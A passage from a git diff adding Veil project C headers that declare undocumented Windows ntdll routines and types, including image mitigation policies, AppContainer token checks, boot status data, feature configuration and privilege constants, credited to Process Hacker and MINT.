PRTL_IMAGE_MITIGATION_EXTENSION_POINT_DISABLE_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_CONTROL_FLOW_GUARD_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY ControlFlowGuard; + RTL_IMAGE_MITIGATION_POLICY StrictControlFlowGuard; +} RTL_IMAGE_MITIGATION_CONTROL_FLOW_GUARD_POLICY, * PRTL_IMAGE_MITIGATION_CONTROL_FLOW_GUARD_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_BINARY_SIGNATURE_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY BlockNonMicrosoftSignedBinaries; + RTL_IMAGE_MITIGATION_POLICY EnforceSigningOnModuleDependencies; +} RTL_IMAGE_MITIGATION_BINARY_SIGNATURE_POLICY, * PRTL_IMAGE_MITIGATION_BINARY_SIGNATURE_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_FONT_DISABLE_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY DisableNonSystemFonts; +} RTL_IMAGE_MITIGATION_FONT_DISABLE_POLICY, * PRTL_IMAGE_MITIGATION_FONT_DISABLE_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_IMAGE_LOAD_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY BlockRemoteImageLoads; + RTL_IMAGE_MITIGATION_POLICY BlockLowLabelImageLoads; + RTL_IMAGE_MITIGATION_POLICY PreferSystem32; +} RTL_IMAGE_MITIGATION_IMAGE_LOAD_POLICY, * PRTL_IMAGE_MITIGATION_IMAGE_LOAD_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_PAYLOAD_RESTRICTION_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY EnableExportAddressFilter; + RTL_IMAGE_MITIGATION_POLICY EnableExportAddressFilterPlus; + RTL_IMAGE_MITIGATION_POLICY EnableImportAddressFilter; + RTL_IMAGE_MITIGATION_POLICY EnableRopStackPivot; + RTL_IMAGE_MITIGATION_POLICY EnableRopCallerCheck; + RTL_IMAGE_MITIGATION_POLICY EnableRopSimExec; + WCHAR EafPlusModuleList[512]; // 19H1 +} RTL_IMAGE_MITIGATION_PAYLOAD_RESTRICTION_POLICY, * PRTL_IMAGE_MITIGATION_PAYLOAD_RESTRICTION_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_CHILD_PROCESS_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY DisallowChildProcessCreation; +} RTL_IMAGE_MITIGATION_CHILD_PROCESS_POLICY, * PRTL_IMAGE_MITIGATION_CHILD_PROCESS_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_SEHOP_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY Sehop; +} RTL_IMAGE_MITIGATION_SEHOP_POLICY, * PRTL_IMAGE_MITIGATION_SEHOP_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_HEAP_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY TerminateOnHeapErrors; +} RTL_IMAGE_MITIGATION_HEAP_POLICY, * PRTL_IMAGE_MITIGATION_HEAP_POLICY; + +typedef enum _RTL_IMAGE_MITIGATION_OPTION_STATE +{ + RtlMitigationOptionStateNotConfigured, + RtlMitigationOptionStateOn, + RtlMitigationOptionStateOff +} RTL_IMAGE_MITIGATION_OPTION_STATE; + +// rev from PROCESS_MITIGATION_FLAGS +#define RTL_IMAGE_MITIGATION_FLAG_RESET 0x1 +#define RTL_IMAGE_MITIGATION_FLAG_REMOVE 0x2 +#define RTL_IMAGE_MITIGATION_FLAG_OSDEFAULT 0x4 +#define RTL_IMAGE_MITIGATION_FLAG_AUDIT 0x8 + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryImageMitigationPolicy( + _In_opt_ PWSTR ImagePath, // NULL for system-wide defaults + _In_ IMAGE_MITIGATION_POLICY Policy, + _In_ ULONG Flags, + _Inout_ PVOID Buffer, + _In_ ULONG BufferSize +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSetImageMitigationPolicy( + _In_opt_ PWSTR ImagePath, // NULL for system-wide defaults + _In_ IMAGE_MITIGATION_POLICY Policy, + _In_ ULONG Flags, + _Inout_ PVOID Buffer, + _In_ ULONG BufferSize +); +#endif + +#endif // !_KERNEL_MODE + +// +// session +// + +// rev +NTSYSAPI +ULONG +NTAPI +RtlGetCurrentServiceSessionId( + VOID +); + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS1) +NTSYSAPI +ULONG +NTAPI +RtlGetActiveConsoleId( + VOID +); + +NTSYSAPI +ULONGLONG +NTAPI +RtlGetConsoleSessionForegroundProcessId( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlIsMultiSessionSku( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlIsMultiUsersInSessionSku( + VOID +); +#else // NTDDI_VERSION >= NTDDI_WIN10_RS1 +FORCEINLINE +ULONG +NTAPI +RtlGetActiveConsoleId( + VOID +) +{ + return SharedUserData->ActiveConsoleId; +} + +FORCEINLINE +ULONGLONG +NTAPI +RtlGetConsoleSessionForegroundProcessId( + VOID +) +{ + return SharedUserData->ConsoleSessionForegroundProcessId; +} + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +FORCEINLINE +BOOLEAN +NTAPI +RtlIsMultiSessionSku( + VOID +) +{ + return SharedUserData->DbgMultiSessionSku; +} + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +FORCEINLINE +BOOLEAN +NTAPI +RtlIsMultiUsersInSessionSku( + VOID +) +{ + return SharedUserData->DbgMultiUsersInSessionSku; +} +#endif // NTDDI_VERSION < NTDDI_WIN10_RS1 + +// +// Appcontainer +// + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetTokenNamedObjectPath( + _In_ HANDLE Token, + _In_opt_ PSID Sid, + _Out_ PUNICODE_STRING ObjectPath // RtlFreeUnicodeString +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetAppContainerNamedObjectPath( + _In_opt_ HANDLE Token, + _In_opt_ PSID AppContainerSid, + _In_ BOOLEAN RelativePath, + _Out_ PUNICODE_STRING ObjectPath // RtlFreeUnicodeString +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetAppContainerParent( + _In_ PSID AppContainerSid, + _Out_ PSID* AppContainerSidParent // RtlFreeSid +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCheckSandboxedToken( + _In_opt_ HANDLE TokenHandle, + _Out_ PBOOLEAN IsSandboxed +); + +#ifdef _KERNEL_MODE +NTSYSAPI +BOOLEAN +NTAPI +RtlIsSandboxedToken( + _In_opt_ PSECURITY_SUBJECT_CONTEXT Context, + _In_ KPROCESSOR_MODE PreviousMode +); +#endif // _KERNEL_MODE + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCheckTokenCapability( + _In_opt_ HANDLE TokenHandle, + _In_ PSID CapabilitySidToCheck, + _Out_ PBOOLEAN HasCapability +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCapabilityCheck( + _In_opt_ HANDLE TokenHandle, + _In_ PUNICODE_STRING CapabilityName, + _Out_ PBOOLEAN HasCapability +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCheckTokenMembership( + _In_opt_ HANDLE TokenHandle, + _In_ PSID SidToCheck, + _Out_ PBOOLEAN IsMember +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCheckTokenMembershipEx( + _In_opt_ HANDLE TokenHandle, + _In_ PSID SidToCheck, + _In_ ULONG Flags, // CTMF_VALID_FLAGS + _Out_ PBOOLEAN IsMember +); + +#ifndef _KERNEL_MODE + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryTokenHostIdAsUlong64( + _In_ HANDLE TokenHandle, + _Out_ PULONG64 HostId // (WIN://PKGHOSTID) +); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsParentOfChildAppContainer( + _In_ PSID ParentAppContainerSid, + _In_ PSID ChildAppContainerSid +); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsCapabilitySid( + _In_ PSID Sid +); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsPackageSid( + _In_ PSID Sid +); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsValidProcessTrustLabelSid( + _In_ PSID Sid +); + +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS4) +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlIsStateSeparationEnabled( + VOID +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS4 + +typedef enum _APPCONTAINER_SID_TYPE +{ + NotAppContainerSidType, + ChildAppContainerSidType, + ParentAppContainerSidType, + InvalidAppContainerSidType, + MaxAppContainerSidType +} APPCONTAINER_SID_TYPE, * PAPPCONTAINER_SID_TYPE; + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetAppContainerSidType( + _In_ PSID AppContainerSid, + _Out_ PAPPCONTAINER_SID_TYPE AppContainerSidType +); + +// +// Fls +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlFlsAlloc( + _In_ PFLS_CALLBACK_FUNCTION Callback, + _Out_ PULONG FlsIndex +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlFlsFree( + _In_ ULONG FlsIndex +); + +#endif // !_KERNEL_MODE + +// +// File System +// + +#ifndef _KERNEL_MODE + +typedef enum _STATE_LOCATION_TYPE +{ + LocationTypeRegistry = 0, + LocationTypeFileSystem = 1, + LocationTypeMaximum = 2 +} STATE_LOCATION_TYPE; + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlGetPersistedStateLocation( + _In_ PCWSTR SourceID, + _In_opt_ PCWSTR CustomValue, + _In_opt_ PCWSTR DefaultPath, + _In_ STATE_LOCATION_TYPE StateLocationType, + _Out_writes_bytes_to_opt_(BufferLengthIn, *BufferLengthOut) + PWCHAR TargetPath, + _In_ ULONG BufferLengthIn, + _Out_opt_ PULONG BufferLengthOut +); + +#endif // !_KERNEL_MODE + +// +// Placeholder file routines. +// + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS2) + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsCloudFilesPlaceholder( + _In_ ULONG FileAttributes, + _In_ ULONG ReparseTag +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsPartialPlaceholder( + _In_ ULONG FileAttributes, + _In_ ULONG ReparseTag +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIsPartialPlaceholderFileHandle( + _In_ HANDLE FileHandle, + _Out_ PBOOLEAN IsPartialPlaceholder +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIsPartialPlaceholderFileInfo( + _In_ CONST VOID* InfoBuffer, + _In_ FILE_INFORMATION_CLASS InfoClass, + _Out_ PBOOLEAN IsPartialPlaceholder +); + +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS2 + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS2) +NTSYSAPI +BOOLEAN +NTAPI +RtlIsNonEmptyDirectoryReparsePointAllowed( + _In_ ULONG ReparseTag +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS2 + +#ifndef _KERNEL_MODE +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlAppxIsFileOwnedByTrustedInstaller( + _In_ HANDLE FileHandle, + _Out_ PBOOLEAN IsFileOwnedByTrustedInstaller +); +#endif // !_KERNEL_MODE + +// rev +typedef struct _PS_PKG_CLAIM +{ + ULONGLONG Flags; + ULONGLONG Origin; +} PS_PKG_CLAIM, * PPS_PKG_CLAIM; + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryPackageClaims( + _In_ HANDLE TokenHandle, + _Out_writes_bytes_to_opt_(*PackageSize, *PackageSize) PWSTR PackageFullName, + _Inout_opt_ PSIZE_T PackageSize, + _Out_writes_bytes_to_opt_(*AppIdSize, *AppIdSize) PWSTR AppId, + _Inout_opt_ PSIZE_T AppIdSize, + _Out_opt_ PGUID DynamicId, + _Out_opt_ PPS_PKG_CLAIM PkgClaim, + _Out_opt_ PULONG64 AttributesPresent +); + +// +// Process & Thread Placeholder +// + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) + +#ifndef _KERNEL_MODE +#undef PHCM_MAX +#define PHCM_APPLICATION_DEFAULT ((CHAR)0) +#define PHCM_DISGUISE_PLACEHOLDERS ((CHAR)1) +#define PHCM_EXPOSE_PLACEHOLDERS ((CHAR)2) +#define PHCM_MAX ((CHAR)2) + +#define PHCM_ERROR_INVALID_PARAMETER ((CHAR)-1) +#define PHCM_ERROR_NO_TEB ((CHAR)-2) +#endif // !_KERNEL_MODE + +NTSYSAPI +CHAR +NTAPI +RtlQueryThreadPlaceholderCompatibilityMode( + VOID +); + +NTSYSAPI +CHAR +NTAPI +RtlSetThreadPlaceholderCompatibilityMode( + _In_ CHAR Mode +); + +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS3 + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS4) + +#ifndef _KERNEL_MODE +#undef PHCM_MAX +#define PHCM_DISGUISE_FULL_PLACEHOLDERS ((CHAR)3) +#define PHCM_MAX ((CHAR)3) +#define PHCM_ERROR_NO_PEB ((CHAR)-3) +#endif // !_KERNEL_MODE + +NTSYSAPI +CHAR +NTAPI +RtlQueryProcessPlaceholderCompatibilityMode( + VOID +); + +NTSYSAPI +CHAR +NTAPI +RtlSetProcessPlaceholderCompatibilityMode( + _In_ CHAR Mode +); + +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS4 + +// +// Protected policies +// + +#ifndef _KERNEL_MODE + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryProtectedPolicy( + _In_ PGUID PolicyGuid, + _Out_ PULONG_PTR PolicyValue +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSetProtectedPolicy( + _In_ PGUID PolicyGuid, + _In_ ULONG_PTR PolicyValue, + _Out_ PULONG_PTR OldPolicyValue +); + +#endif // !_KERNEL_MODE + +// +// Boot Status Data +// + +// private +typedef enum _RTL_BSD_ITEM_TYPE +{ + RtlBsdItemVersionNumber, // q; s: ULONG + RtlBsdItemProductType, // q; s: NT_PRODUCT_TYPE (ULONG) + RtlBsdItemAabEnabled, // q: s: BOOLEAN + RtlBsdItemAabTimeout, // q: s: UCHAR + RtlBsdItemBootGood, // q: s: BOOLEAN + RtlBsdItemBootShutdown, // q: s: BOOLEAN + RtlBsdSleepInProgress, // q: s: BOOLEAN + RtlBsdPowerTransition, + RtlBsdItemBootAttemptCount, // q: s: UCHAR + RtlBsdItemBootCheckpoint, // q: s: UCHAR + RtlBsdItemBootId, // q; s: ULONG (USER_SHARED_DATA->BootId) + RtlBsdItemShutdownBootId, // q; s: ULONG + RtlBsdItemReportedAbnormalShutdownBootId, // q; s: ULONG + RtlBsdItemErrorInfo, + RtlBsdItemPowerButtonPressInfo, + RtlBsdItemChecksum, // q: s: UCHAR + RtlBsdPowerTransitionExtension, + RtlBsdItemFeatureConfigurationState, // q; s: ULONG + RtlBsdItemMax +} RTL_BSD_ITEM_TYPE; + +// private +typedef struct _RTL_BSD_ITEM +{ + RTL_BSD_ITEM_TYPE Type; + PVOID DataBuffer; + ULONG DataLength; +} RTL_BSD_ITEM, * PRTL_BSD_ITEM; + +#ifndef _KERNEL_MODE +// ros +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateBootStatusDataFile( + VOID +); +#endif // !_KERNEL_MODE + +// ros +NTSYSAPI +NTSTATUS +NTAPI +RtlLockBootStatusData( + _Out_ PHANDLE FileHandle +); + +// ros +NTSYSAPI +NTSTATUS +NTAPI +RtlUnlockBootStatusData( + _In_ HANDLE FileHandle +); + +// ros +NTSYSAPI +NTSTATUS +NTAPI +RtlGetSetBootStatusData( + _In_ HANDLE FileHandle, + _In_ BOOLEAN Read, + _In_ RTL_BSD_ITEM_TYPE DataClass, + _In_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ReturnLength +); + +#ifndef _KERNEL_MODE +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCheckBootStatusIntegrity( + _In_ HANDLE FileHandle, + _Out_ PBOOLEAN Verified +); +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetSystemBootStatus( + _In_ RTL_BSD_ITEM_TYPE BootStatusInformationClass, + _Out_ PVOID DataBuffer, + _In_ ULONG DataLength, + _Out_opt_ PULONG ReturnLength +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSetSystemBootStatus( + _In_ RTL_BSD_ITEM_TYPE BootStatusInformationClass, + _In_ PVOID DataBuffer, + _In_ ULONG DataLength, + _Out_opt_ PULONG ReturnLength +); +#endif + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCheckPortableOperatingSystem( + _Out_ PBOOLEAN IsPortable // VOID +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSetPortableOperatingSystem( + _In_ BOOLEAN IsPortable +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +NTSTATUS +NTAPI +RtlFindClosestEncodableLength( + _In_ ULONGLONG SourceLength, + _Out_ PULONGLONG TargetLength +); +#endif + +// +// Memory cache +// + +#ifndef _KERNEL_MODE + +typedef NTSTATUS(NTAPI* PRTL_SECURE_MEMORY_CACHE_CALLBACK)( + _In_ PVOID Address, + _In_ SIZE_T Length + ); + +// ros +NTSYSAPI +NTSTATUS +NTAPI +RtlRegisterSecureMemoryCacheCallback( + _In_ PRTL_SECURE_MEMORY_CACHE_CALLBACK Callback +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeregisterSecureMemoryCacheCallback( + _In_ PRTL_SECURE_MEMORY_CACHE_CALLBACK Callback +); + +// ros +NTSYSAPI +BOOLEAN +NTAPI +RtlFlushSecureMemoryCache( + _In_ PVOID MemoryCache, + _In_opt_ SIZE_T MemoryLength +); + +#endif // !_KERNEL_MODE + +// +// Feature configuration +// + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) + +typedef struct _RTL_FEATURE_USAGE_REPORT +{ + ULONG FeatureId; + USHORT ReportingKind; + USHORT ReportingOptions; +} RTL_FEATURE_USAGE_REPORT, * PRTL_FEATURE_USAGE_REPORT; + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlNotifyFeatureUsage( + _In_ PRTL_FEATURE_USAGE_REPORT FeatureUsageReport +); + +typedef enum _RTL_FEATURE_CONFIGURATION_TYPE +{ + RtlFeatureConfigurationBoot, + RtlFeatureConfigurationRuntime, + RtlFeatureConfigurationCount +} RTL_FEATURE_CONFIGURATION_TYPE; + +// rev +typedef struct _RTL_FEATURE_CONFIGURATION +{ + ULONG FeatureId; + union + { + ULONG Flags; + struct + { + ULONG Priority : 4; + ULONG EnabledState : 2; + ULONG IsWexpConfiguration : 1; + ULONG HasSubscriptions : 1; + ULONG Variant : 6; + ULONG VariantPayloadKind : 2; + ULONG Reserved : 16; + }; + }; + ULONG VariantPayload; +} RTL_FEATURE_CONFIGURATION, * PRTL_FEATURE_CONFIGURATION; + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryFeatureConfiguration( + _In_ ULONG FeatureId, + _In_ RTL_FEATURE_CONFIGURATION_TYPE FeatureType, + _Inout_ PULONGLONG ChangeStamp, + _In_ PRTL_FEATURE_CONFIGURATION FeatureConfiguration +); + +#ifndef _KERNEL_MODE +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSetFeatureConfigurations( + _Inout_ PULONGLONG ChangeStamp, + _In_ RTL_FEATURE_CONFIGURATION_TYPE FeatureType, + _In_ PRTL_FEATURE_CONFIGURATION FeatureConfiguration, + _In_ ULONG FeatureConfigurationCount +); +#endif // !_KERNEL_MODE + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryAllFeatureConfigurations( + _In_ RTL_FEATURE_CONFIGURATION_TYPE FeatureType, + _Inout_ PULONGLONG ChangeStamp, + _Out_ PRTL_FEATURE_CONFIGURATION FeatureConfigurations, + _Inout_ PULONG FeatureConfigurationCount +); + +// rev +NTSYSAPI +ULONGLONG +NTAPI +RtlQueryFeatureConfigurationChangeStamp( + VOID +); + +#ifndef _KERNEL_MODE +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryFeatureUsageNotificationSubscriptions( + _Out_ PRTL_FEATURE_CONFIGURATION FeatureConfiguration, + _Inout_ PULONG FeatureConfigurationCount +); +#endif // !_KERNEL_MODE + +typedef VOID(NTAPI* PRTL_FEATURE_CONFIGURATION_CHANGE_NOTIFICAION)( + _In_opt_ PVOID Context + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlRegisterFeatureConfigurationChangeNotification( + _In_ PRTL_FEATURE_CONFIGURATION_CHANGE_NOTIFICAION Callback, + _In_opt_ PVOID Context, + _Inout_opt_ PULONGLONG ChangeStamp, + _Out_ PHANDLE NotificationHandle +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlUnregisterFeatureConfigurationChangeNotification( + _In_ HANDLE NotificationHandle +); + +#ifndef _KERNEL_MODE +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSubscribeForFeatureUsageNotification( + _In_ PRTL_FEATURE_CONFIGURATION FeatureConfiguration, + _In_ ULONG FeatureConfigurationCount +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlUnsubscribeFromFeatureUsageNotifications( + _In_ PRTL_FEATURE_CONFIGURATION FeatureConfiguration, + _In_ ULONG FeatureConfigurationCount +); +#endif // !_KERNEL_MODE + +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS3 + +// +// Only Kernel RTL +// + +#ifdef _KERNEL_MODE + +// FsRtl + +FORCEINLINE +VOID +NTAPI +FsRtlSetTopLevelIrpForModWriter() +{ + IoSetTopLevelIrp((PIRP)FSRTL_MOD_WRITE_TOP_LEVEL_IRP); +} + +_Must_inspect_result_ +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +FsRtlGetFileNameInformation( // -> FltMgr!FsRtlGetFileNameInformation + _In_ PFILE_OBJECT FileObject, + _In_ ULONG NameOptions, // FLT_FILE_NAME_OPTIONS + _Out_ PUNICODE_STRING FileName, + _Outptr_ PVOID* FileNameInformation // PFLT_FILE_NAME_INFORMATION +); + +_IRQL_requires_max_(APC_LEVEL) +FORCEINLINE +NTSTATUS +NTAPI +FsRtlParseFileNameInformation( + _Inout_ PFLT_FILE_NAME_INFORMATION FileNameInformation +) +{ + return FltParseFileNameInformation(FileNameInformation); +} + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +VOID +NTAPI +FsRtlReleaseFileNameInformation( + _In_ PVOID FileNameInformation +); + +#endif // _KERNEL_MODE + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.Security.h b/include/Veil/Veil/Veil.System.Security.h new file mode 100644 index 0000000..5e70122 --- /dev/null +++ b/include/Veil/Veil/Veil.System.Security.h @@ -0,0 +1,1348 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +// +// Privileges +// + +#ifndef _KERNEL_MODE + +// +// These must be converted to LUIDs before use. +// + +#define SE_MIN_WELL_KNOWN_PRIVILEGE (2L) +#define SE_CREATE_TOKEN_PRIVILEGE (2L) +#define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (3L) +#define SE_LOCK_MEMORY_PRIVILEGE (4L) +#define SE_INCREASE_QUOTA_PRIVILEGE (5L) + + +#define SE_MACHINE_ACCOUNT_PRIVILEGE (6L) +#define SE_TCB_PRIVILEGE (7L) +#define SE_SECURITY_PRIVILEGE (8L) +#define SE_TAKE_OWNERSHIP_PRIVILEGE (9L) +#define SE_LOAD_DRIVER_PRIVILEGE (10L) +#define SE_SYSTEM_PROFILE_PRIVILEGE (11L) +#define SE_SYSTEMTIME_PRIVILEGE (12L) +#define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L) +#define SE_INC_BASE_PRIORITY_PRIVILEGE (14L) +#define SE_CREATE_PAGEFILE_PRIVILEGE (15L) +#define SE_CREATE_PERMANENT_PRIVILEGE (16L) +#define SE_BACKUP_PRIVILEGE (17L) +#define SE_RESTORE_PRIVILEGE (18L) +#define SE_SHUTDOWN_PRIVILEGE (19L) +#define SE_DEBUG_PRIVILEGE (20L) +#define SE_AUDIT_PRIVILEGE (21L) +#define SE_SYSTEM_ENVIRONMENT_PRIVILEGE (22L) +#define SE_CHANGE_NOTIFY_PRIVILEGE (23L) +#define SE_REMOTE_SHUTDOWN_PRIVILEGE (24L) +#define SE_UNDOCK_PRIVILEGE (25L) +#define SE_SYNC_AGENT_PRIVILEGE (26L) +#define SE_ENABLE_DELEGATION_PRIVILEGE (27L) +#define SE_MANAGE_VOLUME_PRIVILEGE (28L) +#define SE_IMPERSONATE_PRIVILEGE (29L) +#define SE_CREATE_GLOBAL_PRIVILEGE (30L) +#define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE (31L) +#define SE_RELABEL_PRIVILEGE (32L) +#define SE_INC_WORKING_SET_PRIVILEGE (33L) +#define SE_TIME_ZONE_PRIVILEGE (34L) +#define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE (35L) +#define SE_DELEGATE_SESSION_USER_IMPERSONATE_PRIVILEGE (36L) +#define SE_MAX_WELL_KNOWN_PRIVILEGE (SE_DELEGATE_SESSION_USER_IMPERSONATE_PRIVILEGE) + +#endif // !_KERNEL_MODE + +// +// Authz +// + +// begin_rev + +// Types + +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_INVALID 0x00 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_INT64 0x01 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_UINT64 0x02 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_STRING 0x03 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_FQBN 0x04 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_SID 0x05 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_BOOLEAN 0x06 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_OCTET_STRING 0x10 + +// Flags + +#define TOKEN_SECURITY_ATTRIBUTE_NON_INHERITABLE 0x0001 +#define TOKEN_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE 0x0002 +#define TOKEN_SECURITY_ATTRIBUTE_USE_FOR_DENY_ONLY 0x0004 +#define TOKEN_SECURITY_ATTRIBUTE_DISABLED_BY_DEFAULT 0x0008 +#define TOKEN_SECURITY_ATTRIBUTE_DISABLED 0x0010 +#define TOKEN_SECURITY_ATTRIBUTE_MANDATORY 0x0020 +#define TOKEN_SECURITY_ATTRIBUTE_COMPARE_IGNORE 0x0040 + +#define TOKEN_SECURITY_ATTRIBUTE_VALID_FLAGS ( \ + TOKEN_SECURITY_ATTRIBUTE_NON_INHERITABLE | \ + TOKEN_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE | \ + TOKEN_SECURITY_ATTRIBUTE_USE_FOR_DENY_ONLY | \ + TOKEN_SECURITY_ATTRIBUTE_DISABLED_BY_DEFAULT | \ + TOKEN_SECURITY_ATTRIBUTE_DISABLED | \ + TOKEN_SECURITY_ATTRIBUTE_MANDATORY) + +#define TOKEN_SECURITY_ATTRIBUTE_CUSTOM_FLAGS 0xffff0000 + +// end_rev + +// private +typedef struct _TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE +{ + ULONG64 Version; + UNICODE_STRING Name; +} TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE, * PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE; + +// private +typedef struct _TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE +{ + PVOID pValue; + ULONG ValueLength; +} TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE, * 